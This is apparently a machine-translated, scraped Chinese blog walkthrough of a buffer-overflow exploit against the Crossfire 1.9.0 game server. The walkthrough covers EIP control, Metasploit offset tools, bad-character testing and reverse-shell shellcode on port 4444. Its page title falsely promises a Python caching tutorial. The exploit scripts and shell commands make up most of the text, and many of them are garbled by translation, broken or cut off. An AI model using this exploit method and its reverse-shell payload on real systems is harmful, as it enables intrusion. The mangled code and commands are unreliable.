Python如何实现一个简单缓存,用linux学python
什么是缓冲区溢出?
培训班的人或者学过汇编的人都知道,如果不严格限定缓冲区的边界,变量向异常数据的转移或者程序的错误运行,都会使缓冲区“爆炸”,覆盖相邻内存区的数据。
如果内存数据更改成功,可能导致进程侵占、恶意代码执行、获取服务器控制等结果。
交火多人在线角色扮演游戏
接受1.9.0版的入站套接字连接(服务器端)时存在缓冲区溢出漏洞
调试工具edb
运行平台kali 2.0 x64虚拟机
Linux下的内存保护机制DEP
随机地址空间分配
堆叠cookies
堆叠破碎
漏洞太老了,测试时可以防止劫持我们的虚拟机,在iptables中设置目标端口只允许本地访问。如果网络只有主机,则可以省略。
#4444端口是iptables-a输入-ptcp -目标端口#4444!-d 127.0.0.1 -j DROP #13327是服务器端端口,iptables-a input-ptcp-destination-port 13327 \-d 127.0.0.1 -j下降
创建/usr/games/目录,并将crossfire1.9.0服务器解压缩到该目录中。
# Unzip touch/usr/games/CD/usr/games/tarzxpfcrossfire . tar . gz
只要等待连接出现,查看错误是否有任何问题。
#打开调试EDB-运行/usr/游戏/交火/疏忽手势/交火
在右下角停了一下。
单击菜单栏debug=run (F9)两次来执行它。
您可以通过命令显示程序端口信息。
#检查开放端口netstat-pantugrep 13327
EIP包含以下命令的地址
这个程序不同于常见的溢出情况。它必须发送一定量的数据才能溢出,不能超过一定量的数据。如下构建python程序测试
#!/usr/疏忽的神色/python importsockethost= 127 . 0 . 0 . 1 crash= \ x41 * 4379 # \ x41是一个十六进制大写字母a buffer= _ X11 (ser
运行后,edb将报告以下错误
EIP(存储以下执行指令的地址)被上图中粗体字的地址所覆盖,但计算机找不到该地址。这个地址是我们输入的,这意味着EIP可以被控制,有溢出。
在这里,您还可以测试是增加1 A还是减少1 A传输。可以看出后两个值不是A,不可控。也就是说,只有当数据量达到4379时,EIP才能被完全控制。
要找出A是溢出EIP地址,请使用该工具生成一个唯一的字符串。
CD/usr/share/metasploit-framework/tools/exploit/。/pattern _ create.r B- l 4379
复制并编写一个类似如下的python脚本
#!/usr/疏忽的样子/python importsockethost= 127 . 0 . 0 . 1 crash= unique string buffer= \ X11(setup sound crash \ x90)
打开edb启动程序,运行python程序。
使用工具确认管柱的位置。
CD/usr/share/metasploit-framework/tools/exploit//pattern _ offset . r B-q 46367046
让我们做P如下
Ython脚本验证
#!/usr/马虎图/python import socket host= 127 . 0 . 0 . 1 crash= a * 4368 b * 4 c * 7 # # Make up 4379 characters buffer= \ X11(设置声音 crash \ x90 \ x00 # s=socket . socket(socket。AF_INET,socket。SOCK _ STREAM)print [*]发送邪恶缓冲区.s.connect((host,13327))data=s . recv(1024)print data s . send(buffer)s . close()print [*]Payload Sent!
你可以看到EIP地址准确地填了B字符。
右键单击ESP并选择转储中的Follow以查看数据。
因为必须是确切的字符才能溢出,也就是说ESP寄存器只能容纳7个字符,显然不能容纳shellcode。
在核对了几份名单后,EAX被选中了。因为EAX存储了我们之前发送的数千个A,所以它是可控的,并且有足够的大小来存储外壳代码。
想法是让EIP存储EAX的地址,然后在地址上加12,直接从第一个a的位置开始,但是每台机器的EAX地址也不一样,不具有通用性,所以放弃了直接跳转的想法。
由于ESP可以存储7个字符,我想到了跳过EAX并抵消12。
构建以下要运行的python代码
#!/usr/粗心的身影/python导入套接字host= 127。0 .0 .1 crash= A * 4368 B * 4 \ x83 \ xc0 \ x0c \ xff \ xe0 \ x90 \ x90 buffer= \ X11(设置声音崩溃 \ x90 \ x00 # s=套接字。插座(插座.AF_INET,插座.SOCK _ STREAM)print [*]发送邪恶缓冲区.s.connect((host,13327))data=s . recv(1024)print data s . send(buffer)s . close()print [*]Payload Sent!
首先企业入口网站地址仍然是精准的四个B
ESP=跟随转储查看
83 c0 0c ff e0 90 90说明这里也完美写入
思路就是EIP=ESP=EAX,EAX存放外壳代码,因为电动选择型地址不固定,需要借助固定的地址跳转
打开教育局,菜单栏plugins=OpcodeSearcher=OpcodeSearch
选择交叉火力程序、ESP - EIP、选择一个跳转指令的地址,这个地址是不会变的
菜单栏插件=断点管理器=断点选择增加增加我们上边选择的地址的断点用来测试。
然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20
生成外壳代码并过滤坏字符
cd /usr/share/framework2/./msfpayload -l #可以生成的外壳代码的种类. msfpayload Linux _ ia32 _ reverse LHOST=127。0 .0 .1 LPORT=4444 R ./msfencode -b \x00\x0a\x0d\x20
构建大蟒脚本
#!/usr/粗心的身影/python导入套接字host= 127。0 .0 .1 shellcode=( \ xbb \ x6d \ x65 \ x9b \ xcd \ xdb \ xdd 9 \ x74 \ x24 \ xf4 \ x5f \ x2b \ xc9 \ xb1 \ x14 \ x83 \ xc7 \ x04 \ x31 \ x5f \ X10 \ x03 \ x5f \ X10 \ x8f \ x90 \ xaa \ x16 \ xb8 \ xb8 \ x9 EAF _ INET,socket .SOCK _ STREAM)print [*]发送邪恶缓冲区.s.connect((host,13327))data=s . recv(1024)print data s . send(buffer)s . close()print [*]Payload send!
监听本地的4444端口,即可获取一个壳
原文:https://www。cn博客。com/system vito/p/9246752。超文本标记语言
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。